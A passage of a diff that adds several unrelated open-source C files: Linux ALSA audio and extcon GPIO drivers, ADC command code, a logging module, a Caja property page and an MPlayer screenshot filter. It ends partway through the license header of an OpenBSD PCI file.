+ dev_err(&pdev->dev, "snd_soc_register_card() failed: %d\n", + ret); + return ret; + } + + return 0; +} + +static int __devexit am3517evm_soc_remove(struct platform_device *pdev) +{ + struct snd_soc_card *card = platform_get_drvdata(pdev); + + snd_soc_unregister_card(card); + + return 0; +} + +static struct platform_driver am3517evm_driver = { + .driver = { + .name = "am3517evm-soc-audio", + .owner = THIS_MODULE, + }, + + .probe = am3517evm_soc_probe, + .remove = __devexit_p(am3517evm_soc_remove), +}; + +static int __init am3517evm_soc_init(void) +{ + return platform_driver_register(&am3517evm_driver); +} +module_init(am3517evm_soc_init); + +static void __exit am3517evm_soc_exit(void) +{ + platform_driver_unregister(&am3517evm_driver); +} +module_exit(am3517evm_soc_exit); + +MODULE_AUTHOR("Anuj Aggarwal "); +MODULE_DESCRIPTION("ALSA SoC OMAP3517 / AM3517 EVM"); +MODULE_LICENSE("GPL v2"); +MODULE_ALIAS("platform:am3517evm-soc-audio"); diff --git a/pool/shard011/C/0141775_yamo5410_spdif.c b/pool/shard011/C/0141775_yamo5410_spdif.c new file mode 100644 index 0000000000000000000000000000000000000000..991b41e0834f3c5434a6a19cccbf9494b4095469 --- /dev/null +++ b/pool/shard011/C/0141775_yamo5410_spdif.c @@ -0,0 +1,223 @@ +/* + * yamo5410_spdif.c -- S/PDIF audio for YAMO5410 + * + * Copyright 2010 Samsung Electronics Co. Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + */ + +#include +#include + +#include + +#include "spdif.h" + +/* Audio clock settings are belonged to board specific part. Every + * board can set audio source clock setting which is matched with H/W + * like this function-'set_audio_clock_heirachy'. + */ +static int set_audio_clock_heirachy(struct platform_device *pdev) +{ + struct clk *fout_epll, *mout_epll, *sclk_audio0, *sclk_spdif; + int ret = 0; + + fout_epll = clk_get(NULL, "fout_epll"); + if (IS_ERR(fout_epll)) { + printk(KERN_WARNING "%s: Cannot find fout_epll.\n", + __func__); + return -EINVAL; + } + + mout_epll = clk_get(NULL, "mout_epll"); + if (IS_ERR(mout_epll)) { + printk(KERN_WARNING "%s: Cannot find mout_epll.\n", + __func__); + ret = -EINVAL; + goto out1; + } + + sclk_audio0 = clk_get(&pdev->dev, "sclk_audio"); + if (IS_ERR(sclk_audio0)) { + printk(KERN_WARNING "%s: Cannot find sclk_audio.\n", + __func__); + ret = -EINVAL; + goto out2; + } + + sclk_spdif = clk_get(NULL, "sclk_spdif"); + if (IS_ERR(sclk_spdif)) { + printk(KERN_WARNING "%s: Cannot find sclk_spdif.\n", + __func__); + ret = -EINVAL; + goto out3; + } + + /* Set audio clock hierarchy for S/PDIF */ + clk_set_parent(mout_epll, fout_epll); + clk_set_parent(sclk_audio0, mout_epll); + clk_set_parent(sclk_spdif, sclk_audio0); + + clk_put(sclk_spdif); +out3: + clk_put(sclk_audio0); +out2: + clk_put(mout_epll); +out1: + clk_put(fout_epll); + + return ret; +} + +/* We should haved to set clock directly on this part because of clock + * scheme of Samsudng SoCs did not support to set rates from abstrct + * clock of it's hierarchy. + */ +static int set_audio_clock_rate(unsigned long epll_rate, + unsigned long audio_rate) +{ + struct clk *fout_epll, *sclk_spdif; + + fout_epll = clk_get(NULL, "fout_epll"); + if (IS_ERR(fout_epll)) { + printk(KERN_ERR "%s: failed to get fout_epll\n", __func__); + return -ENOENT; + } + + clk_set_rate(fout_epll, epll_rate); + clk_put(fout_epll); + + sclk_spdif = clk_get(NULL, "sclk_spdif"); + if (IS_ERR(sclk_spdif)) { + printk(KERN_ERR "%s: failed to get sclk_spdif\n", __func__); + return -ENOENT; + } + + clk_set_rate(sclk_spdif, audio_rate); + clk_put(sclk_spdif); + + return 0; +} + +static int yamo5410_hw_params(struct snd_pcm_substream *substream, + struct snd_pcm_hw_params *params) +{ + struct snd_soc_pcm_runtime *rtd = substream->private_data; + struct snd_soc_dai *cpu_dai = rtd->cpu_dai; + unsigned long pll_out, rclk_rate; + int ret, ratio; + + switch (params_rate(params)) { + case 44100: + pll_out = 45158400; + break; + case 32000: + case 48000: + case 96000: + pll_out = 49152000; + break; + default: + return -EINVAL; + } + + /* Setting ratio to 512fs helps to use S/PDIF with HDMI without + * modify S/PDIF ASoC machine driver. + */ + ratio = 512; + rclk_rate = params_rate(params) * ratio; + + /* Set audio source clock rates */ + ret = set_audio_clock_rate(pll_out, rclk_rate); + if (ret < 0) + return ret; + + /* Set S/PDIF uses internal source clock */ + ret = snd_soc_dai_set_sysclk(cpu_dai, SND_SOC_SPDIF_INT_MCLK, + rclk_rate, SND_SOC_CLOCK_IN); + if (ret < 0) + return ret; + + return ret; +} + +static struct snd_soc_ops yamo5410_spdif_ops = { + .hw_params = yamo5410_hw_params, +}; + +static struct snd_soc_dai_link yamo5410_dai = { + .name = "S/PDIF", + .stream_name = "S/PDIF PCM Playback", + .platform_name = "samsung-audio", + .cpu_dai_name = "samsung-spdif", + .codec_dai_name = "dit-hifi", + .codec_name = "spdif-dit", + .ops = &yamo5410_spdif_ops, +}; + +static struct snd_soc_card yamo5410 = { + .name = "YAMO5410-SPDIF", + .owner = THIS_MODULE, + .dai_link = &yamo5410_dai, + .num_links = 1, +}; + +static struct platform_device *yamo5410_snd_spdif_dit_device; +static struct platform_device *yamo5410_snd_spdif_device; + +static int __init yamo5410_init(void) +{ + int ret; + + yamo5410_snd_spdif_dit_device = platform_device_alloc("spdif-dit", -1); + if (!yamo5410_snd_spdif_dit_device) + return -ENOMEM; + + ret = platform_device_add(yamo5410_snd_spdif_dit_device); + if (ret) + goto err1; + + yamo5410_snd_spdif_device = platform_device_alloc("soc-audio", -1); + if (!yamo5410_snd_spdif_device) { + ret = -ENOMEM; + goto err2; + } + + platform_set_drvdata(yamo5410_snd_spdif_device, &yamo5410); + + ret = platform_device_add(yamo5410_snd_spdif_device); + if (ret) + goto err3; + + /* Set audio clock hierarchy manually */ + ret = set_audio_clock_heirachy(yamo5410_snd_spdif_device); + if (ret) + goto err4; + + return 0; +err4: + platform_device_del(yamo5410_snd_spdif_device); +err3: + platform_device_put(yamo5410_snd_spdif_device); +err2: + platform_device_del(yamo5410_snd_spdif_dit_device); +err1: + platform_device_put(yamo5410_snd_spdif_dit_device); + return ret; +} + +static void __exit yamo5410_exit(void) +{ + platform_device_unregister(yamo5410_snd_spdif_device); + platform_device_unregister(yamo5410_snd_spdif_dit_device); +} + +module_init(yamo5410_init); +module_exit(yamo5410_exit); + +MODULE_AUTHOR("Seungwhan Youn, "); +MODULE_DESCRIPTION("ALSA SoC YAMO5410+S/PDIF"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141776_adccmds.c b/pool/shard011/C/0141776_adccmds.c new file mode 100644 index 0000000000000000000000000000000000000000..a27dc8c06ac88c78d3e92d0294c5e9d243131a46 --- /dev/null +++ b/pool/shard011/C/0141776_adccmds.c @@ -0,0 +1,136 @@ +// Commands for controlling GPIO analog-to-digital input pins +// +// Copyright (C) 2016 Kevin O'Connor +// +// This file may be distributed under the terms of the GNU GPLv3 license. + +#include "basecmd.h" // oid_alloc +#include "board/gpio.h" // struct gpio_adc +#include "board/irq.h" // irq_disable +#include "command.h" // DECL_COMMAND +#include "sched.h" // DECL_TASK + +struct analog_in { + struct timer timer; + uint32_t rest_time, sample_time, next_begin_time; + uint16_t value, min_value, max_value; + struct gpio_adc pin; + uint8_t invalid_count, range_check_count; + uint8_t state, sample_count; +}; + +static struct task_wake analog_wake; + +static uint_fast8_t +analog_in_event(struct timer *timer) +{ + struct analog_in *a = container_of(timer, struct analog_in, timer); + uint32_t sample_delay = gpio_adc_sample(a->pin); + if (sample_delay) { + a->timer.waketime += sample_delay; + return SF_RESCHEDULE; + } + uint16_t value = gpio_adc_read(a->pin); + uint8_t state = a->state; + if (state >= a->sample_count) { + state = 0; + } else { + value += a->value; + } + a->value = value; + a->state = state+1; + if (a->state < a->sample_count) { + a->timer.waketime += a->sample_time; + return SF_RESCHEDULE; + } + if (likely(a->value >= a->min_value && a->value <= a->max_value)) { + a->invalid_count = 0; + } else { + a->invalid_count++; + if (a->invalid_count >= a->range_check_count) { + try_shutdown("ADC out of range"); + a->invalid_count = 0; + } + } + sched_wake_task(&analog_wake); + a->next_begin_time += a->rest_time; + a->timer.waketime = a->next_begin_time; + return SF_RESCHEDULE; +} + +void +command_config_analog_in(uint32_t *args) +{ + struct gpio_adc pin = gpio_adc_setup(args[1]); + struct analog_in *a = oid_alloc( + args[0], command_config_analog_in, sizeof(*a)); + a->timer.func = analog_in_event; + a->pin = pin; + a->state = 1; +} +DECL_COMMAND(command_config_analog_in, "config_analog_in oid=%c pin=%u"); + +void +command_query_analog_in(uint32_t *args) +{ + struct analog_in *a = oid_lookup(args[0], command_config_analog_in); + sched_del_timer(&a->timer); + gpio_adc_cancel_sample(a->pin); + a->next_begin_time = args[1]; + a->timer.waketime = a->next_begin_time; + a->sample_time = args[2]; + a->sample_count = args[3]; + a->state = a->sample_count + 1; + a->rest_time = args[4]; + a->min_value = args[5]; + a->max_value = args[6]; + a->range_check_count = args[7]; + if (! a->sample_count) + return; + sched_add_timer(&a->timer); +} +DECL_COMMAND(command_query_analog_in, + "query_analog_in oid=%c clock=%u sample_ticks=%u sample_count=%c" + " rest_ticks=%u min_value=%hu max_value=%hu range_check_count=%c"); + +void +analog_in_task(void) +{ + if (!sched_check_wake(&analog_wake)) + return; + uint8_t oid; + struct analog_in *a; + foreach_oid(oid, a, command_config_analog_in) { + if (a->state != a->sample_count) + continue; + irq_disable(); + if (a->state != a->sample_count) { + irq_enable(); + continue; + } + uint16_t value = a->value; + uint32_t next_begin_time = a->next_begin_time; + a->state++; + irq_enable(); + sendf("analog_in_state oid=%c next_clock=%u value=%hu" + , oid, next_begin_time, value); + } +} +DECL_TASK(analog_in_task); + +void +analog_in_shutdown(void) +{ + uint8_t i; + struct analog_in *a; + foreach_oid(i, a, command_config_analog_in) { + gpio_adc_cancel_sample(a->pin); + if (a->sample_count) { + a->state = a->sample_count + 1; + a->next_begin_time += a->rest_time; + a->timer.waketime = a->next_begin_time; + sched_add_timer(&a->timer); + } + } +} +DECL_SHUTDOWN(analog_in_shutdown); diff --git a/pool/shard011/C/0141777_logging.c b/pool/shard011/C/0141777_logging.c new file mode 100644 index 0000000000000000000000000000000000000000..afc700895e31f88ee5289209636ea2925b00b04b --- /dev/null +++ b/pool/shard011/C/0141777_logging.c @@ -0,0 +1,144 @@ +/* + * Copyright 2011-2012 Con Kolivas + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the Free + * Software Foundation; either version 3 of the License, or (at your option) + * any later version. See COPYING for more details. + */ + +#include "config.h" + +#include + +#include "logging.h" +#include "miner.h" + +bool opt_debug = false; +bool opt_log_output = false; + +/* per default priorities higher than LOG_NOTICE are logged */ +int opt_log_level = LOG_NOTICE; + +static void my_log_curses(__maybe_unused int prio, char *f, va_list ap) +{ + if (opt_quiet && prio != LOG_ERR) + return; + +#ifdef HAVE_CURSES + extern bool use_curses; + if (use_curses && log_curses_only(prio, f, ap)) + ; + else +#endif + { + int len = strlen(f); + + strcpy(f + len - 1, " \n"); + + mutex_lock(&console_lock); + vprintf(f, ap); + mutex_unlock(&console_lock); + } +} + +static void log_generic(int prio, const char *fmt, va_list ap); + +void vapplog(int prio, const char *fmt, va_list ap) +{ + if (!opt_debug && prio == LOG_DEBUG) + return; + if (use_syslog || opt_log_output || prio <= LOG_NOTICE) + log_generic(prio, fmt, ap); +} + +void applog(int prio, const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + vapplog(prio, fmt, ap); + va_end(ap); +} + + +/* high-level logging functions, based on global opt_log_level */ + +/* + * generic log function used by priority specific ones + * equals vapplog() without additional priority checks + */ +static void log_generic(int prio, const char *fmt, va_list ap) +{ +#ifdef HAVE_SYSLOG_H + if (use_syslog) { + vsyslog(prio, fmt, ap); + } +#else + if (0) {} +#endif + else { + char *f; + int len; + struct timeval tv = {0, 0}; + struct tm *tm; + + gettimeofday(&tv, NULL); + + tm = localtime(&tv.tv_sec); + + len = 40 + strlen(fmt) + 22; + f = alloca(len); + sprintf(f, " [%d-%02d-%02d %02d:%02d:%02d] %s\n", + tm->tm_year + 1900, + tm->tm_mon + 1, + tm->tm_mday, + tm->tm_hour, + tm->tm_min, + tm->tm_sec, + fmt); + /* Only output to stderr if it's not going to the screen as well */ + if (!isatty(fileno((FILE *)stderr))) { + va_list apc; + + va_copy(apc, ap); + vfprintf(stderr, f, apc); /* atomic write to stderr */ + fflush(stderr); + } + + my_log_curses(prio, f, ap); + } +} +/* we can not generalize variable argument list */ +#define LOG_TEMPLATE(PRIO) \ + if (PRIO <= opt_log_level) { \ + va_list ap; \ + va_start(ap, fmt); \ + vapplog(PRIO, fmt, ap); \ + va_end(ap); \ + } + +void log_error(const char *fmt, ...) +{ + LOG_TEMPLATE(LOG_ERR); +} + +void log_warning(const char *fmt, ...) +{ + LOG_TEMPLATE(LOG_WARNING); +} + +void log_notice(const char *fmt, ...) +{ + LOG_TEMPLATE(LOG_NOTICE); +} + +void log_info(const char *fmt, ...) +{ + LOG_TEMPLATE(LOG_INFO); +} + +void log_debug(const char *fmt, ...) +{ + LOG_TEMPLATE(LOG_DEBUG); +} diff --git a/pool/shard011/C/0141778_caja-property-page.c b/pool/shard011/C/0141778_caja-property-page.c new file mode 100644 index 0000000000000000000000000000000000000000..ad3313c86e584af3f0743ab2b39b6610cc8d0132 --- /dev/null +++ b/pool/shard011/C/0141778_caja-property-page.c @@ -0,0 +1,246 @@ +/* + * caja-property-page.h - Property pages exported by + * CajaPropertyProvider objects. + * + * Copyright (C) 2003 Novell, Inc. + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the Free + * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA. + * + * Author: Dave Camp + * + */ + +#include +#include "caja-property-page.h" + +#include "caja-extension-i18n.h" + +enum +{ + PROP_0, + PROP_NAME, + PROP_LABEL, + PROP_PAGE, + LAST_PROP +}; + +struct _CajaPropertyPageDetails +{ + char *name; + GtkWidget *label; + GtkWidget *page; +}; + +static GObjectClass *parent_class = NULL; + +/** + * caja_property_page_new: + * @name: the identifier for the property page + * @label: the user-visible label of the property page + * @page: the property page to display + * + * Creates a new #CajaPropertyPage from page_widget. + * + * Returns: a newly created #CajaPropertyPage + */ +CajaPropertyPage * +caja_property_page_new (const char *name, + GtkWidget *label, + GtkWidget *page_widget) +{ + CajaPropertyPage *page; + + g_return_val_if_fail (name != NULL, NULL); + g_return_val_if_fail (label != NULL && GTK_IS_WIDGET (label), NULL); + g_return_val_if_fail (page_widget != NULL && GTK_IS_WIDGET (page_widget), + NULL); + + page = g_object_new (CAJA_TYPE_PROPERTY_PAGE, + "name", name, + "label", label, + "page", page_widget, + NULL); + + return page; +} + +static void +caja_property_page_get_property (GObject *object, + guint param_id, + GValue *value, + GParamSpec *pspec) +{ + CajaPropertyPage *page; + + page = CAJA_PROPERTY_PAGE (object); + + switch (param_id) + { + case PROP_NAME : + g_value_set_string (value, page->details->name); + break; + case PROP_LABEL : + g_value_set_object (value, page->details->label); + break; + case PROP_PAGE : + g_value_set_object (value, page->details->page); + break; + default : + G_OBJECT_WARN_INVALID_PROPERTY_ID (object, param_id, pspec); + break; + } +} + +static void +caja_property_page_set_property (GObject *object, + guint param_id, + const GValue *value, + GParamSpec *pspec) +{ + CajaPropertyPage *page; + + page = CAJA_PROPERTY_PAGE (object); + + switch (param_id) + { + case PROP_NAME : + g_free (page->details->name); + page->details->name = g_strdup (g_value_get_string (value)); + g_object_notify (object, "name"); + break; + case PROP_LABEL : + if (page->details->label) + { + g_object_unref (page->details->label); + } + + page->details->label = g_object_ref (g_value_get_object (value)); + g_object_notify (object, "label"); + break; + case PROP_PAGE : + if (page->details->page) + { + g_object_unref (page->details->page); + } + + page->details->page = g_object_ref (g_value_get_object (value)); + g_object_notify (object, "page"); + break; + default : + G_OBJECT_WARN_INVALID_PROPERTY_ID (object, param_id, pspec); + break; + } +} + +static void +caja_property_page_dispose (GObject *object) +{ + CajaPropertyPage *page; + + page = CAJA_PROPERTY_PAGE (object); + + if (page->details->label) + { + g_object_unref (page->details->label); + page->details->label = NULL; + } + if (page->details->page) + { + g_object_unref (page->details->page); + page->details->page = NULL; + } +} + +static void +caja_property_page_finalize (GObject *object) +{ + CajaPropertyPage *page; + + page = CAJA_PROPERTY_PAGE (object); + + g_free (page->details->name); + + g_free (page->details); + + G_OBJECT_CLASS (parent_class)->finalize (object); +} + +static void +caja_property_page_instance_init (CajaPropertyPage *page) +{ + page->details = g_new0 (CajaPropertyPageDetails, 1); +} + +static void +caja_property_page_class_init (CajaPropertyPageClass *class) +{ + parent_class = g_type_class_peek_parent (class); + + G_OBJECT_CLASS (class)->finalize = caja_property_page_finalize; + G_OBJECT_CLASS (class)->dispose = caja_property_page_dispose; + G_OBJECT_CLASS (class)->get_property = caja_property_page_get_property; + G_OBJECT_CLASS (class)->set_property = caja_property_page_set_property; + + g_object_class_install_property (G_OBJECT_CLASS (class), + PROP_NAME, + g_param_spec_string ("name", + "Name", + "Name of the page", + NULL, + G_PARAM_CONSTRUCT_ONLY | G_PARAM_WRITABLE | G_PARAM_READABLE)); + g_object_class_install_property (G_OBJECT_CLASS (class), + PROP_LABEL, + g_param_spec_object ("label", + "Label", + "Label widget to display in the notebook tab", + GTK_TYPE_WIDGET, + G_PARAM_READWRITE)); + g_object_class_install_property (G_OBJECT_CLASS (class), + PROP_PAGE, + g_param_spec_object ("page", + "Page", + "Widget for the property page", + GTK_TYPE_WIDGET, + G_PARAM_READWRITE)); +} + +GType +caja_property_page_get_type (void) +{ + static GType type = 0; + + if (!type) + { + const GTypeInfo info = + { + sizeof (CajaPropertyPageClass), + NULL, + NULL, + (GClassInitFunc)caja_property_page_class_init, + NULL, + NULL, + sizeof (CajaPropertyPage), + 0, + (GInstanceInitFunc)caja_property_page_instance_init + }; + + type = g_type_register_static + (G_TYPE_OBJECT, + "CajaPropertyPage", + &info, 0); + } + + return type; +} diff --git a/pool/shard011/C/0141779_extcon-gpio.c b/pool/shard011/C/0141779_extcon-gpio.c new file mode 100644 index 0000000000000000000000000000000000000000..7e0dff58e4943e8b1b09a44c4adba854898cda9d --- /dev/null +++ b/pool/shard011/C/0141779_extcon-gpio.c @@ -0,0 +1,175 @@ +/* + * drivers/extcon/extcon_gpio.c + * + * Single-state GPIO extcon driver based on extcon class + * + * Copyright (C) 2008 Google, Inc. + * Author: Mike Lockwood + * + * Modified by MyungJoo Ham to support extcon + * (originally switch class is supported) + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct gpio_extcon_data { + struct extcon_dev edev; + unsigned gpio; + bool gpio_active_low; + const char *state_on; + const char *state_off; + int irq; + struct delayed_work work; + unsigned long debounce_jiffies; +}; + +static void gpio_extcon_work(struct work_struct *work) +{ + int state; + struct gpio_extcon_data *data = + container_of(to_delayed_work(work), struct gpio_extcon_data, + work); + + state = gpio_get_value(data->gpio); + if (data->gpio_active_low) + state = !state; + extcon_set_state(&data->edev, state); +} + +static irqreturn_t gpio_irq_handler(int irq, void *dev_id) +{ + struct gpio_extcon_data *extcon_data = dev_id; + + queue_delayed_work(system_power_efficient_wq, &extcon_data->work, + extcon_data->debounce_jiffies); + return IRQ_HANDLED; +} + +static ssize_t extcon_gpio_print_state(struct extcon_dev *edev, char *buf) +{ + struct gpio_extcon_data *extcon_data = + container_of(edev, struct gpio_extcon_data, edev); + const char *state; + if (extcon_get_state(edev)) + state = extcon_data->state_on; + else + state = extcon_data->state_off; + + if (state) + return sprintf(buf, "%s\n", state); + return -EINVAL; +} + +static int gpio_extcon_probe(struct platform_device *pdev) +{ + struct gpio_extcon_platform_data *pdata = dev_get_platdata(&pdev->dev); + struct gpio_extcon_data *extcon_data; + int ret; + + if (!pdata) + return -EBUSY; + if (!pdata->irq_flags) { + dev_err(&pdev->dev, "IRQ flag is not specified.\n"); + return -EINVAL; + } + + extcon_data = devm_kzalloc(&pdev->dev, sizeof(struct gpio_extcon_data), + GFP_KERNEL); + if (!extcon_data) + return -ENOMEM; + + extcon_data->edev.name = pdata->name; + extcon_data->edev.dev.parent = &pdev->dev; + extcon_data->gpio = pdata->gpio; + extcon_data->gpio_active_low = pdata->gpio_active_low; + extcon_data->state_on = pdata->state_on; + extcon_data->state_off = pdata->state_off; + if (pdata->state_on && pdata->state_off) + extcon_data->edev.print_state = extcon_gpio_print_state; + if (pdata->debounce) { + ret = gpio_set_debounce(extcon_data->gpio, + pdata->debounce * 1000); + if (ret < 0) + extcon_data->debounce_jiffies = + msecs_to_jiffies(pdata->debounce); + } + + ret = extcon_dev_register(&extcon_data->edev); + if (ret < 0) + return ret; + + ret = devm_gpio_request_one(&pdev->dev, extcon_data->gpio, GPIOF_DIR_IN, + pdev->name); + if (ret < 0) + goto err; + + INIT_DELAYED_WORK(&extcon_data->work, gpio_extcon_work); + + extcon_data->irq = gpio_to_irq(extcon_data->gpio); + if (extcon_data->irq < 0) { + ret = extcon_data->irq; + goto err; + } + + ret = request_any_context_irq(extcon_data->irq, gpio_irq_handler, + pdata->irq_flags, pdev->name, + extcon_data); + if (ret < 0) + goto err; + + platform_set_drvdata(pdev, extcon_data); + /* Perform initial detection */ + gpio_extcon_work(&extcon_data->work.work); + + return 0; + +err: + extcon_dev_unregister(&extcon_data->edev); + + return ret; +} + +static int gpio_extcon_remove(struct platform_device *pdev) +{ + struct gpio_extcon_data *extcon_data = platform_get_drvdata(pdev); + + cancel_delayed_work_sync(&extcon_data->work); + free_irq(extcon_data->irq, extcon_data); + extcon_dev_unregister(&extcon_data->edev); + + return 0; +} + +static struct platform_driver gpio_extcon_driver = { + .probe = gpio_extcon_probe, + .remove = gpio_extcon_remove, + .driver = { + .name = "extcon-gpio", + .owner = THIS_MODULE, + }, +}; + +module_platform_driver(gpio_extcon_driver); + +MODULE_AUTHOR("Mike Lockwood "); +MODULE_DESCRIPTION("GPIO extcon driver"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141780_vf_screenshot.c b/pool/shard011/C/0141780_vf_screenshot.c new file mode 100644 index 0000000000000000000000000000000000000000..7f9a45c8791da5dd00e7757d59b5e1eb4c29e0b3 --- /dev/null +++ b/pool/shard011/C/0141780_vf_screenshot.c @@ -0,0 +1,210 @@ +/* + * This file is part of MPlayer. + * + * MPlayer is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * MPlayer is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with MPlayer; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include "config.h" + +#include +#include +#include +#include + +#include "mp_msg.h" +#include "img_format.h" +#include "mp_image.h" +#include "vf.h" +#include "vf_scale.h" +#include "fmt-conversion.h" +#include "libvo/fastmemcpy.h" + +#include + +struct vf_priv_s { + mp_image_t *image; + void (*image_callback)(void *, mp_image_t *); + void *image_callback_ctx; + int shot, store_slices; +}; + +//===========================================================================// + +static int config(struct vf_instance *vf, + int width, int height, int d_width, int d_height, + unsigned int flags, unsigned int outfmt) +{ + free_mp_image(vf->priv->image); + vf->priv->image = new_mp_image(width, height); + mp_image_setfmt(vf->priv->image, outfmt); + vf->priv->image->w = d_width; + vf->priv->image->h = d_height; + return vf_next_config(vf,width,height,d_width,d_height,flags,outfmt); +} + +static void start_slice(struct vf_instance *vf, mp_image_t *mpi) +{ + vf->dmpi=vf_get_image(vf->next,mpi->imgfmt, + mpi->type, mpi->flags, mpi->width, mpi->height); + if (vf->priv->shot) { + vf->priv->store_slices = 1; + if (!(vf->priv->image->flags & MP_IMGFLAG_ALLOCATED)) + mp_image_alloc_planes(vf->priv->image); + } + +} + +static void memcpy_pic_slice(unsigned char *dst, unsigned char *src, + int bytesPerLine, int y, int h, + int dstStride, int srcStride) +{ + memcpy_pic(dst + h * dstStride, src + h * srcStride, bytesPerLine, + h, dstStride, srcStride); +} + +static void draw_slice(struct vf_instance *vf, unsigned char** src, + int* stride, int w,int h, int x, int y) +{ + if (vf->priv->store_slices) { + mp_image_t *dst = vf->priv->image; + int bp = (dst->bpp + 7) / 8; + + if (dst->flags & MP_IMGFLAG_PLANAR) { + int bytes_per_line[3] = { w * bp, dst->chroma_width, dst->chroma_width }; + for (int n = 0; n < 3; n++) { + memcpy_pic_slice(dst->planes[n], src[n], bytes_per_line[n], + y, h, dst->stride[n], stride[n]); + } + } else { + memcpy_pic_slice(dst->planes[0], src[0], dst->w*bp, y, dst->h, + dst->stride[0], stride[0]); + } + } + vf_next_draw_slice(vf,src,stride,w,h,x,y); +} + +static void get_image(struct vf_instance *vf, mp_image_t *mpi) +{ + // FIXME: should vf.c really call get_image when using slices?? + if (mpi->flags & MP_IMGFLAG_DRAW_CALLBACK) + return; + vf->dmpi= vf_get_image(vf->next, mpi->imgfmt, + mpi->type, mpi->flags/* | MP_IMGFLAG_READABLE*/, mpi->width, mpi->height); + + for (int i = 0; i < MP_MAX_PLANES; i++) { + mpi->planes[i]=vf->dmpi->planes[i]; + mpi->stride[i]=vf->dmpi->stride[i]; + } + mpi->width=vf->dmpi->width; + + mpi->flags|=MP_IMGFLAG_DIRECT; + + mpi->priv=(void*)vf->dmpi; +} + +static int put_image(struct vf_instance *vf, mp_image_t *mpi, double pts) +{ + mp_image_t *dmpi = (mp_image_t *)mpi->priv; + + if (mpi->flags & MP_IMGFLAG_DRAW_CALLBACK) + dmpi = vf->dmpi; + else + if(!(mpi->flags&MP_IMGFLAG_DIRECT)){ + dmpi=vf_get_image(vf->next,mpi->imgfmt, + MP_IMGTYPE_EXPORT, 0, + mpi->width, mpi->height); + vf_clone_mpi_attributes(dmpi, mpi); + for (int i = 0; i < MP_MAX_PLANES; i++) { + dmpi->planes[i]=mpi->planes[i]; + dmpi->stride[i]=mpi->stride[i]; + } + dmpi->width=mpi->width; + dmpi->height=mpi->height; + } + + if(vf->priv->shot) { + vf->priv->shot=0; + mp_image_t image; + if (!vf->priv->store_slices) + image = *dmpi; + else + image = *vf->priv->image; + image.w = vf->priv->image->w; + image.h = vf->priv->image->h; + vf->priv->image_callback(vf->priv->image_callback_ctx, &image); + vf->priv->store_slices = 0; + } + + return vf_next_put_image(vf, dmpi, pts); +} + +static int control (vf_instance_t *vf, int request, void *data) +{ + if(request==VFCTRL_SCREENSHOT) { + struct vf_ctrl_screenshot *cmd = (struct vf_ctrl_screenshot *)data; + vf->priv->image_callback = cmd->image_callback; + vf->priv->image_callback_ctx = cmd->image_callback_ctx; + vf->priv->shot=1; + return CONTROL_TRUE; + } + return vf_next_control (vf, request, data); +} + + +//===========================================================================// + +static int query_format(struct vf_instance *vf, unsigned int fmt) +{ + enum PixelFormat av_format = imgfmt2pixfmt(fmt); + + if (av_format != PIX_FMT_NONE && sws_isSupportedInput(av_format)) + return vf_next_query_format(vf, fmt); + return 0; +} + +static void uninit(vf_instance_t *vf) +{ + free_mp_image(vf->priv->image); + free(vf->priv); +} + +static int vf_open(vf_instance_t *vf, char *args) +{ + vf->config=config; + vf->control=control; + vf->put_image=put_image; + vf->query_format=query_format; + vf->start_slice=start_slice; + vf->draw_slice=draw_slice; + vf->get_image=get_image; + vf->uninit=uninit; + vf->priv=malloc(sizeof(struct vf_priv_s)); + vf->priv->shot=0; + vf->priv->store_slices=0; + vf->priv->image=NULL; + return 1; +} + + +const vf_info_t vf_info_screenshot = { + "screenshot to file", + "screenshot", + "A'rpi, Jindrich Makovicka", + "", + vf_open, + NULL +}; + +//===========================================================================// diff --git a/pool/shard011/C/0141781_pci_axppci_33.c b/pool/shard011/C/0141781_pci_axppci_33.c new file mode 100644 index 0000000000000000000000000000000000000000..8c30f0c432eea432244b450250c575e274e5141c --- /dev/null +++ b/pool/shard011/C/0141781_pci_axppci_33.c @@ -0,0 +1,238 @@ +/* $OpenBSD: pci_axppci_33.c,v 1.11 1999/01/11 05:11:03 millert Exp $ */ +/* $NetBSD: pci_axppci_33.c,v 1.10 1996/11/13 21:13:29 cgd Exp $ */ + +/* + * Copyright (c) 1995, 1996 Carnegie-Mellon University. + * All rights reserved. + * + * Authors: Jeffrey Hsu and Chris G. Demetriou + * + * Permission to use, copy, modify and distribute this software and + * its documentation is hereby granted, provided that both the copyright + * notice and this permission notice appear in all copies of the + * software, derivative works or modified versions, and any portions + * thereof, and that both notices appear in supporting documentation. + * + * CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS" + * CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND + * FOR ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE. + * + * Carnegie Mellon requests users of this software to return to + * + * Software 